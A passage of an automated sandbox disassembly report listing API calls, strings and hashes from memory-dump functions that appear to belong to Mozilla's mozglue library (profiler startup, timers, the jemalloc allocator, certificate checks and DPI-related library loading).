Part of subcall function 6C6535A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C65369F
Part of subcall function 6C6535A0: __aulldiv.LIBCMT ref: 6C6536E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C65309F

Part of subcall function 6C675B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C6756EE,?,00000001), ref: 6C675B85
Part of subcall function 6C675B50: EnterCriticalSection.KERNEL32(6C6DF688,?,?,?,6C6756EE,?,00000001), ref: 6C675B90
Part of subcall function 6C675B50: LeaveCriticalSection.KERNEL32(6C6DF688,?,?,?,6C6756EE,?,00000001), ref: 6C675BD8
Part of subcall function 6C675B50: GetTickCount64.KERNEL32 ref: 6C675BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C6530BE

Part of subcall function 6C6530F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C653127
Part of subcall function 6C6530F0: __aulldiv.LIBCMT ref: 6C653140

Part of subcall function 6C68AB2A: __onexit.LIBCMT ref: 6C68AB30

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: 0e0cdc154a02b5a123ad75d305439fadaf1b84d046cf834c0b44f7394be4601c
Instruction ID: 7e821f3c6f95d7c1e9a327f8a3053eed9933defdbf171d57371cc51e0863054d
Opcode Fuzzy Hash: 0e0cdc154a02b5a123ad75d305439fadaf1b84d046cf834c0b44f7394be4601c
Instruction Fuzzy Hash: 48F0D612D2078896CB10DF7588911A6B370AF6F114F545729F84463A61FB2071E883DE

Non-executed Functions

Function 6C665440 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 587
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C665492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C6654A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C6654BE
__Init_thread_footer.LIBCMT ref: 6C6654DB

Part of subcall function 6C68AB3F: EnterCriticalSection.KERNEL32(6C6DE370,?,?,6C653527,6C6DF6CC,?,?,?,?,?,?,?,?,6C653284), ref: 6C68AB49
Part of subcall function 6C68AB3F: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C653527,6C6DF6CC,?,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68AB7C

Part of subcall function 6C68CBE8: GetCurrentProcess.KERNEL32(?,6C6531A7), ref: 6C68CBF1
Part of subcall function 6C68CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6531A7), ref: 6C68CBFA

GetCurrentThreadId.KERNEL32 ref: 6C6654F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6C665516
GetCurrentThreadId.KERNEL32 ref: 6C66556A
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C665577
moz_xmalloc.MOZGLUE(00000070), ref: 6C665585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6C665590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6C6655E6
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C665606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C665616

Part of subcall function 6C68AB89: EnterCriticalSection.KERNEL32(6C6DE370,?,?,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284), ref: 6C68AB94
Part of subcall function 6C68AB89: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68ABD1

GetCurrentThreadId.KERNEL32 ref: 6C66563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C665646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6C66567C
free.MOZGLUE(?), ref: 6C6656AE

Part of subcall function 6C675E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C675EDB
Part of subcall function 6C675E90: memset.VCRUNTIME140(ewkl,000000E5,?), ref: 6C675F27
Part of subcall function 6C675E90: LeaveCriticalSection.KERNEL32(?), ref: 6C675FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6C6656E8
GetCurrentThreadId.KERNEL32 ref: 6C665707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6C66570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6C665729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6C66574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6C66576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6C665796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6C6657B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6C6657CA

Strings

MOZ_BASE_PROFILER_LOGGING, xrefs: 6C6654B9
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6C665D24
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6C6657AE
MOZ_BASE_PROFILER_HELP, xrefs: 6C665511
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6C665C56
GeckoMain, xrefs: 6C665554, 6C6655D5
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6C665717
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6C665749
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C66548D
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6C6656E3
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C665766
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C665724
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6C665BBE
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C6654A3
MOZ_PROFILER_STARTUP, xrefs: 6C6655E1
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6C665D1C
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6C665D2B
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C6657C5
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6C665D01
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C665791
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6C665B38
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6C66584E
[I %d/%d] profiler_init, xrefs: 6C66564E
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6C665CF9
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6C665AC9

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-1266492768
Opcode ID: 9723cfc490d2767776d13f6d4db7c8a092534f89ff03e26e62870104a5c6f412
Instruction ID: 177a8c64f2d46a8a752f75fa61e52c8de68fafea378d92d8cf6f77fefddd9d63
Opcode Fuzzy Hash: 9723cfc490d2767776d13f6d4db7c8a092534f89ff03e26e62870104a5c6f412
Instruction Fuzzy Hash: 2D2205709043419FDB009F76C89666ABBB5AF8734CF04462AE94A87F42EB31E445CB5F

Function 6C69B820 Relevance: 102.6, APIs: 56, Strings: 2, Instructions: 1128
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 6C69B845
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8,?,?,00000000), ref: 6C69B852
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69B884
InitializeConditionVariable.KERNEL32(?), ref: 6C69B8D2
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?), ref: 6C69B9FD
GetCurrentThreadId.KERNEL32 ref: 6C69BA05
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8,?,?,00000000), ref: 6C69BA12
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,00000000), ref: 6C69BA27
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69BA4B
free.MOZGLUE(?), ref: 6C69C9C7
free.MOZGLUE(?), ref: 6C69C9DC

Strings

[I %d/%d] Stack sample too big for profiler storage, needed %u bytes, xrefs: 6C69C878
[I %d/%d] Stack sample too big for local storage, needed %u bytes, xrefs: 6C69C7DA

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentNow@ReleaseStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID: [I %d/%d] Stack sample too big for local storage, needed %u bytes$[I %d/%d] Stack sample too big for profiler storage, needed %u bytes
API String ID: 656605770-2789026554
Opcode ID: f2a5776b01e18a1572ab0c51ffc065bedc266983ab07976a2854c9954fd80f75
Instruction ID: 752dd629839c1a6c0987d4a292ffdc9fbf9b15080cacb029944776b32ac7a95d
Opcode Fuzzy Hash: f2a5776b01e18a1572ab0c51ffc065bedc266983ab07976a2854c9954fd80f75
Instruction Fuzzy Hash: FAA2BE71A083818FC721CF29C49079FB7E5BFCA314F144A2DE89997351DB70A949CB9A

Function 6C666C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727
encryptionfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C666CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C666D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6C666D26

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6C666D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C666D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6C666D73
free.MOZGLUE(00000000), ref: 6C666D80
CertGetNameStringW.CRYPT32 ref: 6C666DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6C666DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C666DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6C666DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6C666E10
CryptMsgClose.CRYPT32(00000000), ref: 6C666E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6C666E34
CreateFileW.KERNEL32 ref: 6C666EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6C666F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C666F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6C66709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C667103
free.MOZGLUE(00000000), ref: 6C667153
CloseHandle.KERNEL32(?), ref: 6C667176
__Init_thread_footer.LIBCMT ref: 6C667209
__Init_thread_footer.LIBCMT ref: 6C66723A
__Init_thread_footer.LIBCMT ref: 6C66726B
__Init_thread_footer.LIBCMT ref: 6C66729C
__Init_thread_footer.LIBCMT ref: 6C6672DC
__Init_thread_footer.LIBCMT ref: 6C66730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C6673C2
VerSetConditionMask.NTDLL ref: 6C6673F3
VerSetConditionMask.NTDLL ref: 6C6673FF
VerSetConditionMask.NTDLL ref: 6C667406
VerSetConditionMask.NTDLL ref: 6C66740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C66741A
moz_xmalloc.MOZGLUE(?), ref: 6C66755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C667568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6C667585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C667598
free.MOZGLUE(00000000), ref: 6C6675AC

Part of subcall function 6C68AB89: EnterCriticalSection.KERNEL32(6C6DE370,?,?,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284), ref: 6C68AB94
Part of subcall function 6C68AB89: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68ABD1

Strings

SHA256, xrefs: 6C666EC0
CryptCATAdminReleaseCatalogContext, xrefs: 6C6672C8
wintrust.dll, xrefs: 6C6672CD
(, xrefs: 6C66768A

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: 7fc89b314fb4aa2afe388c52032a03451903b56d09fef3437752505b54f425da
Instruction ID: 66a7cec88e3af785e2294924bd49185265c2d8ef4da158a834f2fe8299d93b89
Opcode Fuzzy Hash: 7fc89b314fb4aa2afe388c52032a03451903b56d09fef3437752505b54f425da
Instruction Fuzzy Hash: 9852E871A042149FEB21DF26CC84BAA77B8EF46704F144599E909A7A40DB70BF84CF5A

Function 6C686FF0 Relevance: 89.1, APIs: 39, Strings: 10, Instructions: 3347COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C6DE7DC), ref: 6C687019
LeaveCriticalSection.KERNEL32(6C6DE7DC), ref: 6C687061
EnterCriticalSection.KERNEL32(?), ref: 6C6871A4
LeaveCriticalSection.KERNEL32(?), ref: 6C68721D
memcpy.VCRUNTIME140(?,?,?), ref: 6C68723E
EnterCriticalSection.KERNEL32(?), ref: 6C68726C
memset.VCRUNTIME140(?,000000E5,000000FF), ref: 6C6872B2
LeaveCriticalSection.KERNEL32(?), ref: 6C68733F
EnterCriticalSection.KERNEL32(0000000C), ref: 6C6873E8
LeaveCriticalSection.KERNEL32(?), ref: 6C68961C
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C689622
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C689642
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C68964F
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C6896CE
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C6896DB
AcquireSRWLockExclusive.KERNEL32(6C6DE804), ref: 6C689747
GetSystemInfo.KERNEL32(?), ref: 6C689792
__Init_thread_footer.LIBCMT ref: 6C6897A5
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C6DE810,00000040), ref: 6C6897CF
InitializeCriticalSectionAndSpinCount.KERNEL32(6C6DE7B8,00001388), ref: 6C689838
InitializeCriticalSectionAndSpinCount.KERNEL32(6C6DE744,00001388), ref: 6C68984E
InitializeCriticalSectionAndSpinCount.KERNEL32(6C6DE784,00001388), ref: 6C689874
InitializeCriticalSectionAndSpinCount.KERNEL32(6C6DE7DC,00001388), ref: 6C689895

Strings

MALLOC_OPTIONS, xrefs: 6C6897CA
: (malloc) Unsupported character in malloc options: ', xrefs: 6C689BF4
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C6899BD
Compile-time page size does not divide the runtime one., xrefs: 6C689B38
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C6899D2
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C689993
MOZ_CRASH(), xrefs: 6C689B42
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C689933, 6C689A33, 6C689A4E
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C6899A8
<jemalloc>, xrefs: 6C689B33, 6C689BE3

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$CountEnterInitializeK@1@LeaveMaybe@_RandomSpinUint64@mozilla@@$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable_errnomemcpymemset
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 4047164644-4173974723
Opcode ID: 418fd89d6427ea1ae05e57579495d84a3dc27d706b17276d0fd4751e268b2148
Instruction ID: ee36c599fa48198b2c7725134521e9e790b374f81c6c1017c0afef02a68b7765
Opcode Fuzzy Hash: 418fd89d6427ea1ae05e57579495d84a3dc27d706b17276d0fd4751e268b2148
Instruction Fuzzy Hash: 4153B171A067018FD704CF29C580715FBE1BF8A328F29C66DE8698B7A1D771E841CB99

Function 6C690DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C690F1F
LeaveCriticalSection.KERNEL32(?), ref: 6C690F99
memcpy.VCRUNTIME140(?,?,?), ref: 6C690FB7
EnterCriticalSection.KERNEL32(?), ref: 6C690FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6C691031
LeaveCriticalSection.KERNEL32(?), ref: 6C6910D0
EnterCriticalSection.KERNEL32(?), ref: 6C69117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6C691C39
EnterCriticalSection.KERNEL32(6C6DE744), ref: 6C693391
LeaveCriticalSection.KERNEL32(6C6DE744), ref: 6C6933CD
LeaveCriticalSection.KERNEL32(?), ref: 6C693431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C693437

Strings

MALLOC_OPTIONS, xrefs: 6C6935FE
: (malloc) Unsupported character in malloc options: ', xrefs: 6C693A02
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C6937BD
Compile-time page size does not divide the runtime one., xrefs: 6C693946
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C6937D2
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C693793
MOZ_CRASH(), xrefs: 6C693950
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C693559, 6C69382D, 6C693848
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C6937A8
<jemalloc>, xrefs: 6C693941, 6C6939F1

Memory Dump Source

Source File: 00000000.00000002.2550655283.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2550629144.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550719058.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550921215.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2550958829.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: 490fd3e4da68b349dcf174aeb13f7e1aa5eb04aedbdc4e08c90c6a630371fe5e
Instruction ID: 96dae9f6c816b0358c2a12f1448292288e71a0c622159dc55be4494e21494cd5
Opcode Fuzzy Hash: 490fd3e4da68b349dcf174aeb13f7e1aa5eb04aedbdc4e08c90c6a630371fe5e
Instruction Fuzzy Hash: 1F539E71A057028FD704CF29C580616FBE1BF8A328F29C76DE8699B791D771E842CB85

Function 6C6B55F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(user32,?,6C68E1A5), ref: 6C6B5606
LoadLibraryW.KERNEL32(gdi32,?,6C68E1A5), ref: 6C6B560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6C6B5633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6C6B563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6C6B566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6C6B567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6C6B5696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6C6B56B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6C6B56CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6C6B56E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6C6B56FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6C6B5716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6C6B572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6C6B5748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6C6B5761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6C6B577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6C6B5793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6C6B57A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6C6B57BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6C6B57D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6C6B57EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6C6B57FF

Strings

GetWindowDC, xrefs: 6C6B5710
LoadCursorW, xrefs: 6C6B5774
GetSystemMetricsForDpi, xrefs: 6C6B5677
GetThreadDpiAwarenessContext, xrefs: 6C6B562D
DeleteObject, xrefs: 6C6B57F9
gdi32, xrefs: 6C6B560A
SetWindowPos, xrefs: 6C6B56F7
AreDpiAwarenessContextsEqual, xrefs: 6C6B5637
StretchDIBits, xrefs: 6C6B57CC
ReleaseDC, xrefs: 6C6B5742
EnableNonClientDpiScaling, xrefs: 6C6B5666
FillRect, xrefs: 6C6B5729
CreateWindowExW, xrefs: 6C6B56C5
RegisterClassW, xrefs: 6C6B56AC
ShowWindow, xrefs: 6C6B56DE
GetMonitorInfoW, xrefs: 6C6B57A2
SetWindowLongPtrW, xrefs: 6C6B57B7
LoadIconW, xrefs: 6C6B575B
CreateSolidBrush, xrefs: 6C6B57E4
MonitorFromWindow, xrefs: 6C6B578D
GetDpiForWindow, xrefs: 6C6B5690
user32, xrefs: 6C6B5601

Memory Dump Source

